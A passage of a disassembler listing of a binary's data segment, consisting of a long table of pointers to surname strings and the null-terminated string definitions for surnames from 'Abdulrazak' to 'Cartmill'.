dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: seg002:off_43FB68o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: seg002:0043FB6Co align 4 aAdams db 'Adams',0 ; DATA XREF: seg002:0043FB70o align 4 aAddison db 'Addison',0 ; DATA XREF: seg002:off_43FB74o aAdelstein db 'Adelstein',0 ; DATA XREF: seg002:0043FB78o align 4 aAdibe db 'Adibe',0 ; DATA XREF: seg002:0043FB7Co align 10h aAdorno db 'Adorno',0 ; DATA XREF: seg002:0043FB80o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: seg002:0043FB84o align 10h aAlavi db 'Alavi',0 ; DATA XREF: seg002:0043FB88o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: seg002:0043FB8Co align 10h aAlda db 'Alda',0 ; DATA XREF: seg002:0043FB90o align 4 aAleks db 'Aleks',0 ; DATA XREF: seg002:0043FB94o align 10h aAllison db 'Allison',0 ; DATA XREF: seg002:0043FB98o aAlongi db 'Alongi',0 ; DATA XREF: seg002:0043FB9Co align 10h aAltavilla db 'Altavilla',0 ; DATA XREF: seg002:0043FBA0o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: seg002:0043FBA4o aAltenhofen db 'Altenhofen',0 ; DATA XREF: seg002:0043FBA8o align 4 aAmaral db 'Amaral',0 ; DATA XREF: seg002:0043FBACo align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: seg002:0043FBB0o align 4 aAmeer db 'Ameer',0 ; DATA XREF: seg002:0043FBB4o align 10h aAmsden db 'Amsden',0 ; DATA XREF: seg002:0043FBB8o align 4 aAnand db 'Anand',0 ; DATA XREF: seg002:0043FBBCo align 10h aAndel db 'Andel',0 ; DATA XREF: seg002:0043FBC0o align 4 aAndo db 'Ando',0 ; DATA XREF: seg002:0043FBC4o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: seg002:0043FBC8o align 4 aAndron db 'Andron',0 ; DATA XREF: seg002:0043FBCCo align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: seg002:0043FBD0o align 10h aAnsley db 'Ansley',0 ; DATA XREF: seg002:0043FBD4o align 4 aAnthony db 'Anthony',0 ; DATA XREF: seg002:0043FBD8o aAntos db 'Antos',0 ; DATA XREF: seg002:0043FBDCo align 4 aArbia db 'Arbia',0 ; DATA XREF: seg002:0043FBE0o align 10h aArduini db 'Arduini',0 ; DATA XREF: seg002:0043FBE4o aArellano db 'Arellano',0 ; DATA XREF: seg002:0043FBE8o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: seg002:0043FBECo align 10h aArjas db 'Arjas',0 ; DATA XREF: seg002:0043FBF0o align 4 aArky db 'Arky',0 ; DATA XREF: seg002:0043FBF4o align 10h aAtkins db 'Atkins',0 ; DATA XREF: seg002:0043FBF8o align 4 aAugustus db 'Augustus',0 ; DATA XREF: seg002:0043FBFCo align 4 aAurelius db 'Aurelius',0 ; DATA XREF: seg002:0043FC00o align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: seg002:0043FC04o aAxworthy db 'Axworthy',0 ; DATA XREF: seg002:0043FC08o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: seg002:0043FC0Co aAykroyd db 'Aykroyd',0 ; DATA XREF: seg002:0043FC10o aAyling db 'Ayling',0 ; DATA XREF: seg002:0043FC14o align 4 aAzima db 'Azima',0 ; DATA XREF: seg002:0043FC18o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: seg002:0043FC1Co align 10h aBackus db 'Backus',0 ; DATA XREF: seg002:0043FC20o align 4 aBady db 'Bady',0 ; DATA XREF: seg002:0043FC24o align 10h aBaglivo db 'Baglivo',0 ; DATA XREF: seg002:0043FC28o aBagnold db 'Bagnold',0 ; DATA XREF: seg002:0043FC2Co aBailar db 'Bailar',0 ; DATA XREF: seg002:0043FC30o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: seg002:0043FC34o align 4 aBaleja db 'Baleja',0 ; DATA XREF: seg002:0043FC38o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: seg002:0043FC3Co align 4 aBallew db 'Ballew',0 ; DATA XREF: seg002:0043FC40o align 10h aBaltz db 'Baltz',0 ; DATA XREF: seg002:0043FC44o align 4 aBanta db 'Banta',0 ; DATA XREF: seg002:0043FC48o align 10h aBarabesi db 'Barabesi',0 ; DATA XREF: seg002:0043FC4Co align 4 aBarajas db 'Barajas',0 ; DATA XREF: seg002:0043FC50o aBaranczak db 'Baranczak',0 ; DATA XREF: seg002:0043FC54o align 10h aBaranowska db 'Baranowska',0 ; DATA XREF: seg002:0043FC58o align 4 aBarberi db 'Barberi',0 ; DATA XREF: seg002:0043FC5Co aBarbetti db 'Barbetti',0 ; DATA XREF: seg002:0043FC60o align 10h aBarneson db 'Barneson',0 ; DATA XREF: seg002:0043FC64o align 4 aBarnett db 'Barnett',0 ; DATA XREF: seg002:0043FC68o aBarriola db 'Barriola',0 ; DATA XREF: seg002:0043FC6Co align 10h aBarry db 'Barry',0 ; DATA XREF: seg002:0043FC70o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: seg002:0043FC74o aBartolome db 'Bartolome',0 ; DATA XREF: seg002:0043FC78o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: seg002:0043FC7Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: seg002:0043FC80o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: seg002:0043FC84o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: seg002:0043FC88o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: seg002:0043FC8Co align 4 aBayles db 'Bayles',0 ; DATA XREF: seg002:0043FC90o align 10h aBayo db 'Bayo',0 ; DATA XREF: seg002:0043FC94o align 4 aBeacon db 'Beacon',0 ; DATA XREF: seg002:0043FC98o align 10h aBeal db 'Beal',0 ; DATA XREF: seg002:0043FC9Co align 4 aBean db 'Bean',0 ; DATA XREF: seg002:0043FCA0o align 10h aBeckman db 'Beckman',0 ; DATA XREF: seg002:0043FCA4o aBeder db 'Beder',0 ; DATA XREF: seg002:0043FCA8o align 10h aBedford db 'Bedford',0 ; DATA XREF: seg002:0043FCACo aBehenna db 'Behenna',0 ; DATA XREF: seg002:0043FCB0o aBelanger db 'Belanger',0 ; DATA XREF: seg002:0043FCB4o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: seg002:0043FCB8o align 4 aBelfer db 'Belfer',0 ; DATA XREF: seg002:0043FCBCo align 10h aBelinCollart db 'Belin-Collart',0 ; DATA XREF: seg002:0043FCC0o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: seg002:0043FCC4o align 4 aBellhouse db 'Bellhouse',0 ; DATA XREF: seg002:0043FCC8o align 4 aBellini db 'Bellini',0 ; DATA XREF: seg002:0043FCCCo aBelloc db 'Belloc',0 ; DATA XREF: seg002:0043FCD0o align 4 aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: seg002:0043FCD4o align 4 aBergson db 'Bergson',0 ; DATA XREF: seg002:0043FCD8o aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: seg002:0043FCDCo align 10h aBernardo db 'Bernardo',0 ; DATA XREF: seg002:0043FCE0o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: seg002:0043FCE4o align 4 aBernston db 'Bernston',0 ; DATA XREF: seg002:0043FCE8o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: seg002:0043FCECo align 4 aBetti db 'Betti',0 ; DATA XREF: seg002:0043FCF0o align 4 aBeynart db 'Beynart',0 ; DATA XREF: seg002:0043FCF4o aBiagioli db 'Biagioli',0 ; DATA XREF: seg002:0043FCF8o align 10h aBickel db 'Bickel',0 ; DATA XREF: seg002:0043FCFCo align 4 aBinion db 'Binion',0 ; DATA XREF: seg002:0043FD00o align 10h aBir db 'Bir',0 ; DATA XREF: seg002:0043FD04o aBisema db 'Bisema',0 ; DATA XREF: seg002:0043FD08o align 4 aBisho db 'Bisho',0 ; DATA XREF: seg002:0043FD0Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: seg002:0043FD10o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: seg002:0043FD14o align 4 aBlagg db 'Blagg',0 ; DATA XREF: seg002:0043FD18o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: seg002:0043FD1Co align 10h aBlanke db 'Blanke',0 ; DATA XREF: seg002:0043FD20o align 4 aBliss db 'Bliss',0 ; DATA XREF: seg002:0043FD24o align 10h aBlizard db 'Blizard',0 ; DATA XREF: seg002:0043FD28o aBloch db 'Bloch',0 ; DATA XREF: seg002:0043FD2Co align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: seg002:0043FD30o aBloemhof db 'Bloemhof',0 ; DATA XREF: seg002:0043FD34o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: seg002:0043FD38o aBlyth db 'Blyth',0 ; DATA XREF: seg002:0043FD3Co align 4 aBolger db 'Bolger',0 ; DATA XREF: seg002:0043FD40o align 10h aBolick db 'Bolick',0 ; DATA XREF: seg002:0043FD44o align 4 aBollinger db 'Bollinger',0 ; DATA XREF: seg002:0043FD48o align 4 aBologna db 'Bologna',0 ; DATA XREF: seg002:0043FD4Co aBoner db 'Boner',0 ; DATA XREF: seg002:0043FD50o align 4 aBonham db 'Bonham',0 ; DATA XREF: seg002:0043FD54o align 4 aBoniface db 'Boniface',0 ; DATA XREF: seg002:0043FD58o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: seg002:0043FD5Co align 4 aBook db 'Book',0 ; DATA XREF: seg002:0043FD60o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: seg002:0043FD64o align 4 aBoone db 'Boone',0 ; DATA XREF: seg002:0043FD68o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: seg002:0043FD6Co align 4 aBorack db 'Borack',0 ; DATA XREF: seg002:0043FD70o align 4 aBorden db 'Borden',0 ; DATA XREF: seg002:0043FD74o align 4 aBossi db 'Bossi',0 ; DATA XREF: seg002:0043FD78o align 4 aBothman db 'Bothman',0 ; DATA XREF: seg002:0043FD7Co aBotosh db 'Botosh',0 ; DATA XREF: seg002:0043FD80o align 4 aBoudin db 'Boudin',0 ; DATA XREF: seg002:0043FD84o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: seg002:0043FD88o aBourneuf db 'Bourneuf',0 ; DATA XREF: seg002:0043FD8Co align 10h aBowers db 'Bowers',0 ; DATA XREF: seg002:0043FD90o align 4 aBoxer db 'Boxer',0 ; DATA XREF: seg002:0043FD94o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: seg002:0043FD98o align 4 aBoyes db 'Boyes',0 ; DATA XREF: seg002:0043FD9Co align 4 aBoyland db 'Boyland',0 ; DATA XREF: seg002:0043FDA0o aBoym db 'Boym',0 ; DATA XREF: seg002:0043FDA4o align 4 aBoyne db 'Boyne',0 ; DATA XREF: seg002:0043FDA8o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: seg002:0043FDACo align 4 aBradac db 'Bradac',0 ; DATA XREF: seg002:0043FDB0o align 10h aBradach db 'Bradach',0 ; DATA XREF: seg002:0043FDB4o aBrecht db 'Brecht',0 ; DATA XREF: seg002:0043FDB8o align 10h aBreed db 'Breed',0 ; DATA XREF: seg002:0043FDBCo align 4 aBrenan db 'Brenan',0 ; DATA XREF: seg002:0043FDC0o align 10h aBrennan db 'Brennan',0 ; DATA XREF: seg002:0043FDC4o aBrewer db 'Brewer',0 ; DATA XREF: seg002:0043FDC8o align 10h aBrewer_0 db 'Brewer',0 ; DATA XREF: seg002:0043FDCCo align 4 aBridgeman db 'Bridgeman',0 ; DATA XREF: seg002:0043FDD0o align 4 aBridges db 'Bridges',0 ; DATA XREF: seg002:0043FDD4o aBrinton db 'Brinton',0 ; DATA XREF: seg002:0043FDD8o aBritz db 'Britz',0 ; DATA XREF: seg002:0043FDDCo align 4 aBroca db 'Broca',0 ; DATA XREF: seg002:0043FDE0o align 4 aBrook db 'Brook',0 ; DATA XREF: seg002:0043FDE4o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: seg002:0043FDE8o aBuchan db 'Buchan',0 ; DATA XREF: seg002:0043FDECo align 4 aBudding db 'Budding',0 ; DATA XREF: seg002:0043FDF0o aBullard db 'Bullard',0 ; DATA XREF: seg002:0043FDF4o aBunton db 'Bunton',0 ; DATA XREF: seg002:0043FDF8o align 4 aBurden db 'Burden',0 ; DATA XREF: seg002:0043FDFCo align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: seg002:0043FE00o align 4 aBurke db 'Burke',0 ; DATA XREF: seg002:0043FE04o align 4 aBurridge db 'Burridge',0 ; DATA XREF: seg002:0043FE08o align 4 aBusetta db 'Busetta',0 ; DATA XREF: seg002:0043FE0Co aByatt db 'Byatt',0 ; DATA XREF: seg002:0043FE10o align 4 aByerly db 'Byerly',0 ; DATA XREF: seg002:0043FE14o align 10h aByrd db 'Byrd',0 ; DATA XREF: seg002:0043FE18o align 4 aCage db 'Cage',0 ; DATA XREF: seg002:0043FE1Co align 10h aCalnan db 'Calnan',0 ; DATA XREF: seg002:0043FE20o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: seg002:0043FE24o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: seg002:0043FE28o align 10h aCanley db 'Canley',0 ; DATA XREF: seg002:0043FE2Co align 4 aCapanni db 'Capanni',0 ; DATA XREF: seg002:0043FE30o aCaperton db 'Caperton',0 ; DATA XREF: seg002:0043FE34o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: seg002:0043FE38o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: seg002:0043FE3Co align 4 aCappuccio db 'Cappuccio',0 ; DATA XREF: seg002:0043FE40o align 10h aCapursi db 'Capursi',0 ; DATA XREF: seg002:0043FE44o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: seg002:0043FE48o aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: seg002:0043FE4Co aCarlin db 'Carlin',0 ; DATA XREF: seg002:0043FE50o align 4 aCarlos db 'Carlos',0 ; DATA XREF: seg002:0043FE54o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: seg002:0043FE58o aCarmichael db 'Carmichael',0 ; DATA XREF: seg002:0043FE5Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: seg002:0043FE60o align 10h aCarper db 'Carper',0 ; DATA XREF: seg002:0043FE64o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: 